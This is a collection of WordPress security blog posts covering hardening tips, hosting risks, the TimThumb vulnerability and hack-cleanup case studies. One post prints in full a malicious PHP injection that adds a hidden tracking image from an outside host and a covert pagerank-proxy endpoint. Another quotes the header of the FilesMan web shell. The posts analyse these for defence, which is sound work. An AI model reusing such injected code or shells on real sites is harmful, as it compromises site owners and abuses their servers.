It was pointed out to me recently that we’ve been pretty discriminatory here on the blog recently, assuming that people want to avoid getting hacked. What about the people who *want* to be hacked? Maybe you’re interested in hearing about the political leanings of web savvy (and morally undeveloped) youth. Maybe you enjoy the thrill of the chase in figuring out how a hacker got in. Maybe you’re just lazy. Whatever the case, here are 5 steps you can take today (or just not worry about fixing) to put yourself at risk:
After all, updates can break your site, right? Just ignore them. Plugin updates, theme updates, core updates. Heck – even updates to your FTP client or operating system – they can all wait.
This theme has encrypted code in the footer to prevent the author’s “Real Estate Miami” link from being removed? That’s a sign of professionalism and quality. Use it.
No one is going to guess that your password is “Password”. Maybe “123456″ is just the password you always use so you can remember it. What are the odds that somebody is going to check your little corner of the web and try the password?
Reseller hosting is for suckers, and anything more than $10/month for hosting is highway robbery. Having all of your sites accessible via one FTP login is so convenient it’s worth the risk.
Logically, this won’t make you less secure. But according to logic, the toast you drop in the morning should land butter side up 50% of the time. We all know it’s butter down every. Single. Time. Somehow, a site without backups is just more likely to get hacked.
Yes, this is all terrible advice. Over the next week or so, we’ll be putting out a post on each one of these topics – why they’re a problem, and what you can do to solve them – so check back! In the meantime, I’d love to hear more tips on how people (inadvertently) make their sites less secure – share in the comments!
You are the owner of a WordPress website.
And you’ve spent countless hours working on it.
You’ve poured your heart and soul into it.
But in the back of your mind, you know that there are people out there, who will hack your website for their own benefit, or even just for amusement.
Hackers use other people’s websites as a way to get links for SEO purposes, to get people to download malicious software, to redirect website traffic to other places, to take down websites or alter the content among other things. The consequences of being hacked can be anything from losing the website (and all the hard work), to getting banned by Google or abandoned by your visitors.
So the question becomes: How can you protect yourself?
Luckily there are things you can do to minimize the risk of getting hacked and minimize the consequences if your website does get attacked.
The first thing you can (and should) do, is make it harder for hackers to get a foot in the door. Here are three things you can do right now:
All those WordPress software updates happen for a reason! Generally speaking, updates are released to fix bugs, add/update functionality or solve security problems. By keeping your website’s software up to date you’ll remove a good portion of the known ways hackers can gain access to your site.
WordPress installations that have been around for a while automatically have an administrator account with the name “admin” (Note: More recently, WordPress lets you choose your own username and password when setting up your blog. Don’t choose ‘admin’). Hackers know this. and if you use admin as your user name, they’re already halfway to logging in, and accessing your website’s back-end (with administrator privileges).
To fix this, just set up a new administrator account with a different name. You do this under “Users” > “Add New” in the menu inside your WordPress Dashboard. Wh you are done make sure to delete the “admin” account.
It’s also important to use a strong password and not just your birth date, the name of your kid or whatever other easy-to-guess-password you might be using. You can change the password by editing the user account under “Users” > “All Users”. Ideally, you’ll use a strong password, and it will be completely unique – that is, you won’t use this same password for your bank account and email.
You’ll find all the information you need in the article about how to change your WordPress table prefix
Let’s face it, the internet is a scary place. No matter how hard you make it for hackers to hack your website, the risk will always exist, no matter how small it may be. You need a recovery plan in case you do get hacked, even if you’ve done everything you can to prevent it.
The very least you should do is to backup your website on a regular basis. That way you’ll be able to restore it in case something goes wrong.
The only problem with that is, that you might not notice if your site gets hacked – hackers don’t want you to find out, so you can do something about it.
So the best thing you can do, to protect yourself is to both backup and monitor your website for suspicious behavior.
This is a guest post by Tune Seidelin. Tune is an entrepreneur who teaches people with no technical skills, how to build a website from scratch. So if you need to know how to choose a domain name or how to setup WordPress, then check out Tune’s guides.
This is a guest post by Adam Bate. Adam is a young online business owner and Internet marketing enthusiast. Adam runs a web hosting company, Web Savers, and has recently started the Canadian Web Design Headquarters – a site dedicated to connecting web designers, agencies, and freelancers with potential clients. Adam has hosted WordPress websites for close to a decade and knows the ins and outs of hosting a WordPress website.
When you’re searching for a home for your website, it’s important to do a bit of research before rushing into your buying decision. Not all web hosts are created equal and it’s important to ask the right questions.
So many people simply sign up to the cheapest web hosting package they can find, or the first one that they stumble across. While this might be okay if you are running a personal website or blog that is not crucial to the success of a business or income stream, it is not okay if you are hosting a website that you used to make money.
Here are three of some of the most important but often unasked questions you can ask your web host to ensure your website’s security and reliability.
Is PHP run as an apache module or FastCGI?
This might not make any sense to you reading this, but it is a very important question when it comes to the security of your website – especially when on a shared web hosting server and if you run WordPress with multiple plugins.
If PHP is running as apache there are certain permission tweaks you will need to do in order to let PHP access the files on your website. One of the most popular ways to do this is to change the file permissions of a folder to chmod 777 – which basically means any user can read and write to this folder and execute anything within it. This lets you upload files automatically through scripts and plugins within WordPress.
However, if a separate website on the same server were to be hacked, your website would also be compromised because of these set permission since they are letting anyone write and execute code to your files without you even knowing. This is a very popular method of malware injections. Even though your website does not have any specific vulnerabilities, it can still be compromised due to permission settings on a shared web server.
When PHP is being run as FastCGI, the processes will be owned by your specific user and not Apache. This means that WordPress will be able to read, write, and execute your files withing having to change the file or folder permissions. This is a huge plus for the security of your website.
Does your unlimited web hosting really mean unlimited web hosting?
This has been one of the hot topics of hosting websites for a number of years. Most web hosts offer some sort of package that includes unlimited resources – such as disk space and transfer.
Most do this as a way to give their clients peace of mind and because most people and websites do not use as many resources as they think they will.
However, it’s obvious that no web host can offer a truly unlimited service. Even on a cloud-based hosting solution, they are still limited by the entire array of disk space and the total transfer of their connection speed.
Make sure to check the terms of service or ask the company if unlimited really means unlimited. In most cases, if your website uses too many resources – weather it’s too much bandwidth or too much CPU usage, they will simply shut down or suspend your website and account and make you upgrade to a more expensive plan.
Unfortunately most people don’t realize this until it’s too late and they wake up one morning and notice their website is offline. It doesn’t matter how great a company’s uptime is if they will suspend your account without notice.
Is your backup service a true backup service?
Most web designers and hosting companies will set you up with a package for your website that includes or advertises some sort of daily or weekly backup solution. Unfortunately for most people, what they don’t understand is that most of these backup solutions do not include data recovery and some do not even backup individual files.
If a company offers a backup solution but doesn’t provide data recovery, you will typically have to pay an up-front fee in order to get your data restored. The backup process is the only “included” part, not the recovery process.
Some web hosts only do full-server image backups which do not even allow for individual files to be restored. In these cases, the backup simply takes a snap shot of the entire server and does not copy or back up each individual file. Although this is great in case anything were to happen to the entire server (such as a server-wide hack, or a hard drive failure) it is not so great if you were relying on this advertised service as a way to restore lost files.
Needless to say, not all web hosts offer the same level of service. It’s important to ask the right questions before choosing a hosting plan for your WordPress website. Doing a little research before making a buying decision is sure to save you a lot of headache and hassle down the road.
Malware usually ends up on sites for a few reasons:
That last one is new (to me), and was unexpected. Here’s the story:
This morning, I came up against a hacked site I was really having trouble with. It clearly had some code appended to the footer of every page, but it didn’t seem to be malicious (it was just a link to a tiny image), and it had been there for a while – apparently with no ill effects. Still – the site owner had noticed it, and he wanted it gone.
Tracking it down took a bit of doing – the hacker didn’t use many of the normal tricks we see, and the hack was very old, so the trail was very cold. Finally, however, we found a number of modified plugin files – all modified with the same block of code:
<?php
//{{61601810
GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;
$olderrxxx=error_reporting(0);
function outputxxx_callback($str)
{
$links = '<SPAN STYLE="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="o44dae82fa67843a194c00e0e8"><img width=0 height=0 src="http://airschk.com/countbk.gif?id=4dae82fa67843a194c00e0e8&p=1&a=%96%83%00%89%C9g%B0%C62%DF%E3%8DF%BF%D1%F6%B3%0C%F0%DD%21%02%15%FB%E1%C1%FA%29%E9%29%E3a%22%A5%BE%C1%EBP%16%DE%12%F4S%D5"></div></SPAN>';
preg_match("|</body>|si",$str,$arr);
return str_replace($arr[0],$links.$arr[0],$str);
}
function StrToNum($Str, $Check, $Magic)
{
$Int32Unit = 4294967296;
$length = strlen($Str);
for ($i = 0; $i < $length; $i++) {
$Check *= $Magic;
if ($Check >= $Int32Unit) {
$Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
$Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
}
$Check += ord($Str{$i});
}
return $Check;
}
function HashURL($String)
{
$Check1 = StrToNum($String, 0x1505, 0x21);
$Check2 = StrToNum($String, 0, 0x1003F);
$Check1 >>= 2;
$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
$T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
$T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );
return ($T1 | $T2);
}
function CheckHash($Hashnum)
{
$CheckByte = 0;
$Flag = 0;
$HashStr = sprintf('%u', $Hashnum) ;
$length = strlen($HashStr);
for ($i = $length-1; $i >= 0; $i--) {
$Re = $HashStr{$i};
if (1 === ($Flag % 2)) {
$Re += $Re;
$Re = (int)($Re / 10) + ($Re % 10);
}
$CheckByte += $Re;
$Flag ++;
}
$CheckByte %= 10;
if (0 !== $CheckByte) {
$CheckByte = 10 - $CheckByte;
if (1 === ($Flag % 2) ) {
if (1 === ($CheckByte % 2)) {
$CheckByte += 9;
}
$CheckByte >>= 1;
}
}
return '7'.$CheckByte.$HashStr;
}
function getpr($url)
{
$ch = CheckHash(HashURL($url));
$file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
$data = file_get_contents($file);
$pos = strpos($data, "Rank_");
if($pos === false){return -1;} else{
$pr=substr($data, $pos + 9);
$pr=trim($pr);
$pr=str_replace("
",'',$pr);
return $pr;
}
}
if(isset($_POST['xxxprch']))
{
echo getpr($_POST['xxxprch']);
exit();
}
else
ob_start('outputxxx_callback');
error_reporting($olderrxxx);
}
//}}81621fe2
?>
At first glance, this doesn’t even look *that* suspicious. If I hadn’t noticed reference to the url I was trying to track down (http://airschk.com), I might not have paid too much attention to it. I did notice it though, so I started looking through the code. What I found wasn’t what I expected:
http://toolbarqueries.google.com/
I know this URL, because long ago, I was tasked with writing a script that checked the pagerank of given URLS on a schedule. In fact, at second glance, I know these functions intimately – I used the same ones (which someone else wrote, and released for free).
If we look a little closer at the code:
if(isset($_POST['xxxprch']))
{
echo getpr($_POST['xxxprch']);
exit();
}
It becomes apparent what’s going on here. Send a POST request to the site with a parameter of ‘xxxprch’ containg the URL of a site you want to check, and you’ll get back the pagerank.
This code only exists (and apparently was only put on this server) for the owner to use to check pagerank. Ridiculous. Further, I’d guess that the image link, which was the catalyst for this whole witch hunt, is just a flag to let the owner know exactly which sites he can use to check pagerank. Touche, hackers.
Google doesn’t take particularly kindly to people checking pagerank with scripts. They’ll allow it, because it is (or was) a part of their toolbar – so the toolbar code had to be able to call up pagerank for any given site – but they don’t want people using this information to try to game search results – so they do some pretty strict throttling on how fast you can make requests for pagerank from a given IP. This is a problem if you really want to check the pagerank of a lot of sites. The solution, at least for one enterprising hacker, is to use the IP address of every site he could hack. Clever.
Note: This hack has clearly been around for a long time, judging by how long ago people have been asking about it (based on Google Searches). Today was the first time I saw it personally. I wouldnt say it’s particularly common anymore, but it’s interesting all the same.
We clean up a lot of hacks. We actually spend most of our time cleaning up hacks, and helping customers recover and secure their websites from hackers. It’s a fun, challenging job, and we love doing it. It’s interesting – the tricks hackers will use to throw you off their trail, or trying to track down how the hacker gained access in the first place.
In the spirit of sharing interesting stories, I figured I’d write a bit about a hack cleanup we took care of late last night.
This particular hack cleanup started similarly to many that we get – the owner of the site had been hacked, but was pretty technically savvy, and removed the symptoms of the hack. From the frontend, the site looked clean again. However, he knew better than to call it a day – so he got in touch with us to have a look at the server, to see if we could make any suggestions about how he could avoid the situation in the future.
We see this a lot. Site owners are often savvy enough to clean up the symptoms of the hack they’ve been hit with, but they’re left with a justifiably uneasy feeling, and they want a little reassurance that they got the whole problem. In the vast majority of cases, there’s at least one shell (hacker’s access point) left behind, giving the hacker access whenever he decides to come back and make trouble.
This case was no exception. We handle these types of cleanup by logging into the server, and running a custom filescanner to see what we can dig up.
So, I logged in and scanned the server. Not much suspicious going on, and nothing matching any of our malicious code definitions. The WordPress install looks generally vanilla, with a few uninteresting exceptions. So, we’ll need to do some manual review to see what we can find. Again, a pretty common occurrence.
In this case, 1 suspicious looking file showed up pretty quickly. The file was located in the web root, and was called “.stats.php”. Guessing at suspicious files just by filename is a bit of an art – and this one is a great example. First – a file called “stats” in the web root? Doesn’t seem too unreasonable, after all – lots of people have various (sometimes home brewed) stat tracking programs. Still – in the web root? Further – tracking website statistics can be a pretty complex job – here we’ve got just one file, and it’s apparently a stat tracking program? This is starting to feel suspicious.
Aside from things just not quite adding up about a lonely “stats” file in the web root, it starts with a “.”. Again, not totally suspicious in itself – occasionally other filenames start with a dot, most notably the ubiquitous .htaccess. But files starting with a dot have a special property – on most systems, files starting with a dot are “hidden” by default. They’re not hard to find, or secured, but they’re also often not visible from an ftp program with default settings. So we’ve got a file that feels a little suspicious, and now it looks like maybe the author is trying to hide it from ftp clients? This could still be a legitimate file, but it feels pretty unlikely.
So lets get right into it – What is in the file? What exactly does it do? The only question we really want to answer is: Does this file give access to people who shouldnt have it? Theres only one way to find out: read the code. Oftentimes you’ll open a file like this and find the whole thing has been encrypted or obfuscated, which is a pretty good indicator that the code is malicious. When the code isn’t obfuscated, it’s more interesting, because you’re tasked with figuring out the code’s function. In this case, things started out pretty normally, but suspicious things kept coming up – things like functions to figure out what software the server was running, some sort of file archiver/unarchiver, and finally, a bit of code that appears to let you “run commands against the server”. That’s it – this is a shell. No question. Just as a second verification, I load the file up in a browser to see if I can actually see it in action. Now I’m sure – definitely a shell.
Now I’ve got a shell which didn’t get caught by our scanners, and I’ve never seen before. The first thing I do is put together a definition to catch this particular shell, and rescan the site to see if it’s anywhere else on the server. Sure enough, it is – the main akismet plugin file (which is included with WordPress by default) has been replaced with another copy of this shell. This is not an uncommon practice – hackers will sprinkle shells all around the server, hoping that even if you catch one, or most of them, you’ll miss at least one, and they’ll be able to maintain access.
Akismet is a pretty common target, specifically because it’s a plugin included with WordPress. Because of this, a hacker can set up his scripts to always drop a shell in the akismet folder, and have a very good chance that the folder exists. Further – this file won’t get overwritten when WordPress is updated. Lastly, the site owner won’t get bugged about updating akismet (should an update be released), which would overwrite the shell, because wordpress can’t recognize this folder as akismet anymore. The plugin gets silently deactivated (I say silently, but there *will* be a warning the next time the owner visits the plugin page), and the shell goes on living.
This is where things tend to get messy. The vast majority of sites do not have access logging turned on, or if they do, they’re only logging that day’s server activity. In this case, the modification to the akismet file had been made nearly a month prior to my arriving at the server. Fortunately, this was a pretty savvy site owner, who had access logging turned on and humming – so there’s a fairly good chance I’ll be able to track down the initial entry point (or “attack vector”, if you’re into jargon).
So, first I start looking for what ip addresses have accessed either the .stats.php file in the web root, or the akismet.php file. This lets me compile a list of ip addresses that are likely involved in the hack. Once I’ve got that, I start checking the access logs to see what else these ip addresses have accessed – hopefully pointing me at
Unfortunately, you can’t always find all of these things. Hackers switch ip addresses and use other tricks to throw me off their trail. In this case, however, it was clear as day. After filtering out the more mundane access records (they were posting lots and lots of data to these shells in this particular case), I found this:
So: The hackers didn’t drop this shell on the server through some obscure vulnerability, or through a hole in the server OS – they just logged into WordPress. Not only did they log into WordPress, they did so in one try. Clearly, they had login credentials. (Note: How they got login credentials is another mystery, obviously. I’ll get to that shortly).
After logging in, they headed over to the plugin editor and replaced akismet with a web shell. Immediately after that, they used the new akismet shell to create the .stats.php file – and at that point, they were off to the races.
I don’t know. Unfortunately, the trail goes cold at this point – I cant find evidence of access from this set of ip addresses before the login. On top of that, they could have got these credentials from a plethora of places: Accessing the blog from an insecure network, malware on a personal computer, a compromised email address where lost passwords are sent – there are many, many possibilities.
In this particular case, a couple of things might have stopped the attackers. All come with their own drawbacks.
The real mess started not when the user logged in, but when they replaced the akismet file with a shell. This gave the hackers full access to the server. This was allowed by the WordPress plugin editor, and the same could have been achieved with the theme editor. This can be stopped in a couple of different ways. First, WordPress provides a method of disabling file modification with a constant you put in your wp-config.php file:
define('DISALLOW_FILE_EDIT',true);
However, the hacker could just upload a plugin of his own, using the plugin installation feature of wordpress. That too can be disabled, along with plugin updates, and theme update/installation, with this constant:
define('DISALLOW_FILE_MODS',true);
What are the drawbacks here? You’re forced to use FTP to make file changes. I prefer to work that way anyway. However – because of this, you can’t use the WordPress automatic updater, making it more likely that you end up with out of date plugins, which is a more likely source of vulnerabilities and attacks. Feels like a catch-22. Personally, I’d prefer to leave the WP automatic updater in place, and avoid neglecting plugin updates.
Read more on those constants here
The other way to prevent the shell drop would be to ensure that the web user (this is the filesystem user that apache/php use to run) doesn’t have write access to the server. This is really a scorched earth technique though – because now you can’t modify files, update plugins, or even update wordpress. If you need to make absolutely sure hackers can’t drop shells from the web, this might be a good technique. Be warned: It will make for a massive headache when updating plugins, WP core, etc.
Clearly, the hackers had the site login credentials – but because we have no idea how they got them, we’re going to ignore that and move on to how the site owner could have protected the site anyway.
The hackers had to log into WordPress to gain access in teh first place – so what if we could have stopped them there? Using the site .htaccess file, we can actually block either specific ip addresses (blacklisting) from accessing the admin section, or blocking all ip addresses except those you trust (whitelisting). Because the effort required to use a different ip is minimal, in this situation, blacklisting is almost useless. The far better choice would be to whitelist your ip address, meaning that in order to access wp-admin, you have to be doing so from your specific internet connection.
The drawbacks here are pretty obvious – what if you want to edit something from your phone on the road? You’re out of luck. Work from a coffee shop? No dice. Have your brother writing a guest post from indiana? He can’t log in either. Of course, you can add all of these other ip addresses to your whitelist, you just have to recognize the hassle involved.
Overall, your site’s security is a constant balance between security and convenience/functionality. The decision about how to handle it has to be made with your specific site’s needs and risks in mind.
So: We got the admin password changed, checked for any unexpected users in the wordpress admin, removed .stats.php, and uploaded a fresh copy of akismet, and we’re good to go. Obviously, since this was just last night, we’ll need to keep an eye on the site (assuming you’ve totally locked out the hackers is the best way to look and feel really, really dumb), but at this point, I’m relatively confident that we’re all set. Huzzah!
Just a quick note about something we’re seeing *lots* of over the past few days: Attacks targeting themes and plugins using vulnerable uploadify script. We’ve seen a number of them since the weekend, and they all seem to be coming from the same source, as they’re all doing the same thing: Dropping a file named “auth.php” at “/wp-content/uploads/auth.php”.
The file is malicious, and should be removed.
The file is an old favorite of hackers, especially lazy ones. It’s generally known as “FilesMan”, because of the text near the top of the file:
<?php # Web Shell by oRb $color = "#df5"; $auth_pass = 'ff6cb56b876eedf90b5bca2c0a210f91'; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251';
This is a “shell”, or “backdoor”. Hackers put these on servers to give them the access they need to do whatever they want. They’re commonly hidden around the server in an attempt to make sure the hacker can get back in after you think you’ve fixed the problem – cleaning up the mess of bas64_decode(s and eval(s you found around the server.
First, you should delete it – or at least rename it. Unfortunately, that doesnt mean you’re safe, especially if the file has been there for any amount of time. Most hackers will leave more than one backdoor as a failsafe, and if they’ve had time, they’ve almost certainly dropped another one on your server. We’ll clean up your hacked WordPress site for you – as will a number of other services out there. Whether you’re going to clean it up yourself, or have a professional help, you’ll want to get to work quickly, before the hack has the chance to spread around your server, potentially to other sites.
In this instance, it looks like the common thread is vulnerable uploadify instances. Regina Smola over at wpsecuritylock.com has been talking out in public, and to me personally the dangers of uploadify for quite some time – and we’re seeing the results here. itpixie.com has put together a great list of vulnerable themes/plugins – so you’ll want to check that out.
Addon Domains. So alluring. Pay $7.43/month, host 67 WordPress sites. It’s a siren song for cash strapped internet marketers.
Essentially all of the major shared hosting providers offer addon domain schemes – to the point that this is an expected feature of hosting. The gist is: You buy a hosting plan, and you can host large (sometimes unlimited) numbers of domains on them – as long as you fit inside the disk space, bandwidth, and CPU limits set by your host, there’s no problem. Unsurprisingly, people take advantage of this. I know, because we see these servers when we go to clean malicious code off of them. Occasionally we’ll find a server with 1 site on it. Most commonly, it’s somewhere between 2 and 8 sites. Maybe 20% of the time we’ll see somebody with 15-20 sites. And then, once a month or so, we get a whopper. 50 sites. 100 sites. More.
So what’s the big deal? It’s permitted by the host, you’re within your expected limits, so what’s the problem? The problem (ok – one big problem) is Cross Site Contamination. I didn’t know what to call this phenomenon for a long time, and I recently heard Sucuri use that term – it’s fitting. In most cases, when a host sells an “addon domain” (Note: I’m specifically not referring to “reseller” plans, which generally don’t suffer from this), the setup works like this:
Your host has a server (which is just a computer, not *that* unlike the one you work on), which is running special software to partition it into hundreds or thousands of “accounts”. These accounts are segregated from each other, so you can’t access the files on other customers’ sites. However, when you set up on addon domain, this site is going into your account, along with all your other sites. These sites have access to each other – a plugin installed at my site blue-widgets.com could access the files on my site at purple-widgets.com, assuming they’re addon domains on the same account.
To illustrate:
A few weeks ago we saw what I think was our biggest server ever – 152 WordPress installs. The server hummed along just fine until one day, a hacker managed to find a vulnerable timthumb installation in one of the sites, and used that to switch every single WordPress install on the server to foreign political propaganda. Needless to say, her client (these sites all happened to belong to one client) was not pleased to wake up the next day and see their business websites being used as a platform for these messages.
Because these were all addon domains, every single one got hit. Instead of dealing with the one site with a vulnerability, every single one had to be scanned, cleaned up, and tested. It was a terrible day for her, and them.
Aside from that, we were now tasked with cleaning up a site with 500,000+ files on it. Each one needed to be scanned and vetted, and cleaned up if there was a problem. It took hours to get cleaned up because of the sheer size of the server, and then entire time, she had the client breathing down her neck.
If all of these sites were separated, she’d have had one site infected, and we likely would have had it cleaned up in less than an hour.
You’ve probably guessed where this is going. Everything is fine as long as all of your code plays nice, and only tinkers with files that it’s supposed to. But what happens when a hacker manages to get a backdoor on one site, and that backdoor has access to all of your other sites? I want to make this absolutely clear, so I’ll spell it out: A hacker with access to one domain will infect every addon domain on the server.
Here’s the deal: Your website is inherently insecure. For the majority of sites today, it’s a safe bet that at some point, you’re going to get malicious code. That’s cynical, but it’s true, and you should recognize it. Over time, the likelyhood that you’ll forget to upgrade WordPress, or install a plugin that wasn’t vetted properly, or miss an email about a vulnerability discovered in the theme you use goes up. Odds are, you’ll get caught with your pants down at some point.
So, if the odds are that you’re going to experience trouble on any given site, say, once a year (Hypothetically. Don’t quote me as saying that any given site will get hacked once a year), what happens when you have 2 sites that have access to each other? And, each time a hacker hits either one of them, they both get infected? Your sites are now infected twice as often. What happens when you have 20 sites on a server? 100? You end up spending as much time dealing with hacks as you do building your business. This can literally sink you.
You can make sure your sites don’t have access to each other. For most site owners, the best way to do this is to move over to a reseller plan. Reseller plans segregate your sites enough that hackers no longer have ludicrously easy access to every site on the server if they manage to find a hole in any one of them. It’s not a bulletproof solution – if the hacker can break into your host, or they get your main account password, they may still be able to get at all of your sites – but these situations are very rare compared to addon domain cross site contamination.
I thought you’d never ask.
So, there you have it. There are a couple of caveats to this article, but the basics are: If you have lots of websites that you can see when you log in via FTP, you’re playing a risky game.
Have questions about your specific setup? We’d love to talk to you about it. Email us at help@codegarage.com, and we’ll try to get you back on the straight and narrow.
Over the past few weeks, I’ve been absolutely inundated with requests to clean up hacks that have exploited the much publicized Timthumb.php vulnerability. I have to assume that the reason most people aren’t plugging up this security hole on their sites is either
To combat this, I took a couple of hours this morning to write a plugin that will do the dirty work for you. The WordPress Timthumb Vulnerability Scanner will check your entire wp-content directory (including all themes, plugins, and uploads) for any vulnerable (pre-2.0) instances of the timthumb script, and give you a one-click upgrade to upgrade each script to the latest, secure version.
Just like that, you’re done. Quick and painless.
Note: If you’ve already been hacked, this will NOT clean up your site. This plugin fixes your door lock – which doesn’t matter if the burglars are already in your house.
Let me know of any problems or questions you have in the comments.
Good luck!
EDIT
Looking for a solution to scan a whole server, or a site not running on WordPress? By sort-of-popular demand, here it is:
http://codegarage.com/plugins/timthumb-full-server-vulnerability-scanner.zip
It’s much less polished, and much less tested, so use at your own risk.
Lately, WordPress users seem to have had an increased interest in security – and with good reasons. Yesterday’s timthumb.php vulnerability, plus a slew of others in the past few months have really put most site owners on edge.
Often it’s recommended that as a WordPress site owner, you change your WordPress database table prefix to something other than wp_. It’s not a bad idea – in certain situations, doing so might prevent a hacker from gaining more access to your site, or limit his destructive capability, and it’s a very easy thing to change.
If you’re installing WordPress, and you havent run through the install process, changing your table prefix is incredibly simple. During the install process, just set the Table Prefix to anything you’d like:
If you’ve already installed WordPress, you can still change your table prefix, but it’s a little more complicated. You’re going to need to have access to your database through PHPMyAdmin or a similar system.
/** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each a unique * prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_';
Change the value between the quotes (after the = sign) to whatever you’d like:
/** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each a unique * prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'mysecretprefix_';
At this point, your site will totally stop working. Yikes! Fortunately, we can fix that by changing some things in the database (Remember how you were supposed to make sure you had database access before we started? If you don’t, change wp_config.php back to the way it was, quick!).
At this point, your site should be working properly again, with one important caveat: You get a permissions error when you try to log in. That leads us to our last set of steps:
Choose the mysecretprefix_usermeta table, and look for a row with a user_id of 1 (or whatever your user’s id is – it’s probably 1), and a “meta_key” value of “wp_capabilities”. Once you’ve found this. Click the pencil toward the left (edit)
This one probably should have gone first: The plugin WP Security Scan from WebsiteDefender will do all the dirty work for you in most cases. Just go to the “Database” page, and switch your prefix.
Yesterday, Mark Maunder over at markmaunder.com managed to track down the source of a pretty clever hack on his site, where the hacker gained access through the massively popular TimThumb image thumbnail creation library. You can read his full post on the matter here:
Zero Day Vulnerability in Many WordPress Themes
He’s made an interesting post detailing the work he did to catch the hack – If you have the time, give it a read.
More importantly – this hack has the potential to affect hundreds of thousands of WordPress installs. Unfortunately, because the timthumb library is generally included in themes (both free and premium), it’s not going to be very easy to get patched. Premium theme sellers will no doubt release updates and notify their users, but free theme users are less likely to have such good luck. As such, it’s going to be a good idea to check your site out for this vulnerability, and fix it as soon as possible.
(Note – Subscribers to Locker have had their sites scanned for this vulnerability, and are being automatically notified if they’ve got a problem right now.)
Nearly anyone using the timthumb library, who downloaded it before yesterday (8/1/11) is likely to be vulnerable. How do you know if you’re using timthumb? The easiest way is probably to check out your theme folders for a file called timthumb.php, using FTP, or your host’s file browser. If you’re using a host with cPanel (like Hostgator), it’s very easy – just load up the file manager, and then use the “Find” box in the upper right corner to search for timthumb.php. No results? Chances are good that you’re safe.
Make sure you check every folder in your theme – it’s likely that if your theme has a lot of included files, this file would be in a directory inside your main theme folder.
Fortunately, thanks to the hard work of Mark in finding this and bringing it to light, Ben (the creator of TimThumb), and a few other folks, there is a more secure version of the script now available for download here:
http://timthumb.googlecode.com/svn/trunk/timthumb.php
To secure your site, save that file (File->Save Page As in most browsers) to your computer, and then upload it to your site via FTP, replacing every instance of timthumb.php with the new version you just downloaded. If that’s beyond you, or you want to be absolutely sure that you’ve closed the hole up, send me an email at peter@codegarage.com, or hit me on twitter @peterbutler, and I’ll help get you straightened out.
Good luck!
Recent Comments